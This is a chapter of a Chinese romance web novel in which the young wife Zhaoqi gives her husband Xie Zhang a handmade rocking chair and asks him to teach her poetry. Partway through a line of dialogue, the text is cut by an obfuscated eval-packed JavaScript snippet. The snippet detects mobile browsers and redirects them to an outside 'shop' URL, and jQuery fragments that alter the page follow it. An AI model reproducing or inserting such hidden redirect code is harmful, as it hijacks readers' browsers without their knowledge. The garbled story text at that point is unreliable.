40.第 40 章

作品:《玉楼折春

    谢璋着上氅衣往东次间而去,方走过行廊,就见门口先是探出了个头,接着整个人都出来了。


    那一身藕荷的衣衫,活像春天枝头上的桃花。


    紧接着这只粉蝴蝶飞一般地小跑到了谢璋的面前。


    “你终于来啦。”


    抱月打起帘子,谢璋提步往里走,顺便解下氅衣,正要交给陌冬,昭齐先一步连忙双手接过氅衣,“大人给我就好,我帮大人收好。”


    谢璋瞧着她这殷勤模样,笑睨了她一眼。


    昭齐顿时神色一正,举手发誓:“这回肯定不会让谢大人的宝贝氅衣有事,我就把它整整齐齐地挂在那里。”


    谢璋走进里间之后,就瞧见桌案上摆着的菜肴。


    都是极清淡的,他平日里常吃的菜,看得出来是用了心的。


    谢璋很自然地在主位坐下,昭齐将袖口挽起,拿起一旁的银箸开始布菜,可以说是周到备至了,很少有人享受过她这样的侍奉,算下来就只有爹娘和祖母。


    他就是第四个,可是让他占了好大一个便宜。


    昭齐暗暗哼了哼。


    这一顿膳食用的是极为安静,谢璋是惯来用膳时不会说话的,知道他规矩多昭齐也一声没有说。


    待到用罢膳食,漱口净手之后,谢璋方说话:“你好像没怎么吃。”


    昭齐一脸正气,违心地说:“我饭量就这么小。”


    就这般小?他记得她每回筵席都从头吃到尾,别人的桌案上大都没动,就她的桌上空空荡荡。


    谢璋笑着饮了口紫苏饮。


    昭齐偷偷摸了摸肚子,她其实就吃了个三分饱。


    她是无辣不欢,饭菜喜欢吃过甜的,过辣的,过酸的,反正一定是要很有味道的,今日为了招待他,摆了一桌子寡淡菜,一点食欲都没有。


    待会儿等他走了,她要再狠狠加一顿膳食。


    谢璋端着茶饮望向了西窗下那一块拿红绸布盖着的庞然巨物,从一进里间他就注意到了,这是在搞什么名堂?


    瞧形状倒像是——


    昭齐顺着谢璋的视线望过去,发现谢璋注意到了之后,昭齐顿时就站起来,快步跑到巨物旁边,双手在巨物跟前摊开比划。


    “这就是我要送给大人的惊喜。”


    说着昭齐清了清嗓子,朗声道,“诚邀大人亲自揭开这份大礼。”


    真是个活宝。


    谢璋放下茶盏起身走过去,虽然心里头已经有数了,但揭开之后,瞧见这把椅子之后还是惊讶了一下。


    当下坐具其实并不算多,且以交椅居多。


    眼前这把椅子通身以酸枝木而制,底座以光滑的弧形代替了四腿,像捕醉仙一般可摇动却又不会倒,光是瞧着便很有意趣了。


    谢璋扶着这把躺椅,轻轻摇了摇,躺椅就随之晃来晃去。


    “这可是我自己画的图,自己亲手做的,看了好多书,费了好些功夫呢。”昭齐说着就把手摊开给谢璋看,手掌好多地方都被磨红了,还没等谢璋多看一眼,昭齐又跑过去拿了四五卷书出来,翻开来给谢璋看,“我这些日子,看了这么些书,就是想怎么做这把椅子。”


    谢璋拿过昭齐手里的书,笑望着她,“怎么突然想送我躺椅?”


    “我那天问了陌冬,他说你膝盖不好。我记得你那书房不是要跪着,就是那么矮的月牙凳,我就想给你做把舒服的躺椅。”昭齐说着就在躺椅上拍了拍,“谢大人快来试一试,我特意铺了厚厚的靠背,真的特别舒服。”


    谢璋欣然坐了下来,半躺在这把躺椅上,翻开了她勤勤恳恳看过的书卷,真的可以说是十分用心了。


    一团又一团涂画的墨迹,还有连写带画的笔迹。


    要她看书比登天还难。


    如今竟主动看起了书,是为了给他做把椅子。


    昭齐半蹲在躺椅旁边,双手把在扶手上,眼睛眨也不眨地盯着谢璋的神情,永平让她用心去对待他,她这回真的用心了。


    到底有没有什么变化么。


    谢璋早发觉了这灼灼的目光,放下书卷看向昭齐:“这椅子很不错。”


    “只有这样吗?”昭齐有些不敢置信,“谢大人,你此刻就对我没有一种,很特别的感觉吗?”


    谢璋踩住摇椅的脚踏,定住摇椅的摆动,笑着瞧昭齐:“什么特别的感觉?”


    “就,就是,比如说担心啊,感动啊……”昭齐诺诺道,“欣赏啊什么的。”


    “嗯,那有。”谢璋半坐起来,轻轻靠近了昭齐。


    昭齐只觉得他的手放在了她衣衫的领口上,她一向都穿得很薄,尤其是地龙烧得这么热的里间。


    他的手指都是凉的,微凉的指腹,都碰到了她的锁骨。


    这,这么快的吗?


    刚喜欢上就要解她衣裳,这就要圆房了?


    好随便的人!


    谢璋将昭齐衣衫上那根小小的木刺挑出来,放在了帕子之上,“小心别被木刺扎到了。”


    昭齐被吓了一跳,下意识拿手去摸脖颈,而后又止住。


    一摸手上肯定要被扎的。


    什么随便都抛之脑后了,昭齐连忙着急地把脖颈凑到谢璋跟前:“谢大人,你快看看还有没有别的刺。”


    被扎一下真的怪疼的。


    而且要是扎深了,拔不出来,要拿火烧过的针挑!


    这一凑近柔软的发丝都拂在了谢璋的面上,原本就不算整齐的衣衫,因着动作都松散开来,那一片雪腻的颈项连同那颗锁骨上的小小的红痣都直直地闯入谢璋的眼帘。


    谢璋下意识捻了捻手指。


    触碰是互相的,昭齐能感受到谢璋的手指,谢璋也能感受到指腹下的肌肤,像她这个人一样,蜜糖般的温温热热甜甜腻腻。


    从前谢璋是没有任何的旖旎想法的。


    可现在谢璋有些真的想要解开她的衣衫,看她震惊又惊慌地瞪大眼睛,浑身炸毛地愤愤谴责,“你果真是个禽兽——”


    谢璋就会说一句,“你错了就该乖乖受罚。”


    可惜的是常常在惹祸的小魔王今日根本没有干坏事,相反,她还极其用心又认真地关心他给他亲手做了把躺椅。


    让他没有机会罚她。


    很快昭齐察觉到谢璋没有任何动作。


    帮个忙也不肯?怪小气的。


    不是疼在他身上,他自然不懂了。


    “算了算了,不用谢大人你帮忙了,我直接去换身衣裳。”


    昭齐是飞快地站起来,还没走两步,被谢璋出声唤住了:“我刚刚瞧过了,没有别的刺了。”


    “哦。”昭齐定住脚步。


    她总觉得脖颈还痒痒的,又不相信地摸了摸。


    这时抱月进来了,还端了茶水和糕点。


    瞧见昭齐在这里手不住地摸脖颈,抱月有些疑惑又担心地走上前来:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188314|193075||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这是怎么了?摸什么呢?”


    昭齐说了木刺的事儿。


    抱月也来仔细地看了,没再找到木刺。


    昭齐这才彻底放下心来,又顺手从几案上拿了两三块点心来吃,刚准备塞到嘴巴里就在抱月不住的眼神示意之下放了下来,回头看向了躺椅上坐着的那位真正的主人。


    昭齐端着点心走过去,往前一递:“谢大人吃不吃?”


    “多谢好意。”谢璋握着书卷慢慢地翻,完全地靠在躺椅之上,“不过,我不在看书之时用吃食。”


    她就知道是这个结果。


    昭齐自个连塞了两块点心进嘴,直把嘴巴都塞得满满的。


    而后突然听得谢璋问,“方才用膳没有吃饱吗?”


    昭齐险些被点心噎住,谢璋见状从抱月手上拿过茶盏递过去,昭齐接过后连忙咽了两三口方把点心都咽下去,抱月是连忙放下托盘上前帮着顺气。


    昭齐眼泪都呛出来了。


    而后偷偷地愤愤地瞧了谢璋一眼。


    为什么要在她吃东西的时候吓她?


    在对上谢璋的目光之后,昭齐变成了委屈。


    “那,那我有什么办法,今日的膳食都是你爱吃的菜,又不是我爱吃的,我当然没有吃饱了。”昭齐心里道,反正都怪你。


    又让她吃不饱,还又吓了她。


    连昭齐都没有想到,谢璋此时倒是好脾气得很。


    “下回让小厨房做你爱吃的。”


    这话都让昭齐不好意思再狡辩了。


    本来就是她自己要请谢璋来用膳,是她自己选的这些菜肴,总不能就因着他没有感动到爱上她,她就冲他发脾气。


    “哦,好。”昭齐老实应声。


    抱月这时冲着昭齐快速地使眼色,一看这正是好说话的时候,赶紧提出昨日商量好的对策。


    昭齐这时终于想起来了。


    她都被辛苦送他躺椅,却没有打动他给弄得沮丧了,一时都忘了还有这个。


    昭齐扭捏了一下,软了软嗓子,这撒娇卖痴对樊夫人做得对她爹做得对抱月也做得,不知道为什么对谢璋一做。


    她浑身都跟铁打得一般了。


    昭齐尽力之后,干巴巴地道:“谢大人,其实我在闺阁之中就十分仰慕大人的风姿才华。”


    谢璋早瞧见了那段眉眼官司,也只是没说话而已。


    他不禁挑了挑眉。


    仰慕?


    “上回在琴室,我就发现了我在诗词上的浅薄。”昭齐忸怩地试探着轻拉了拉谢璋的衣袖,“我想跟着大人学诗词,不知道大人肯不肯教我……”


    当真是开天辟地的大事。


    谢璋都端正了神色。


    一个在国子监上学时就日日逃学,偷鸟打架,还敢报复夫子,课业从来都是一塌糊涂的混世魔王,要潜心跟着他学诗词?


    近来正好要休沐,教她也未尝不可。


    “既要跟着我学,就要认真些,我素来有些严苛的。”谢璋提前讲明。


    昭齐先是被唬了一下,但很快又想到,她现在是他的夫人,又不是真的是他的学生,他才不会对她怎么样呢。


    而且她当然不是真心要学了。


    这不是要黏着他,才有勾引他的机会么?


    昭齐都想好了,到时候她就装作不会写字,他握着她的手写字,她还能趁机狠狠地亲他一口。


    多甜蜜。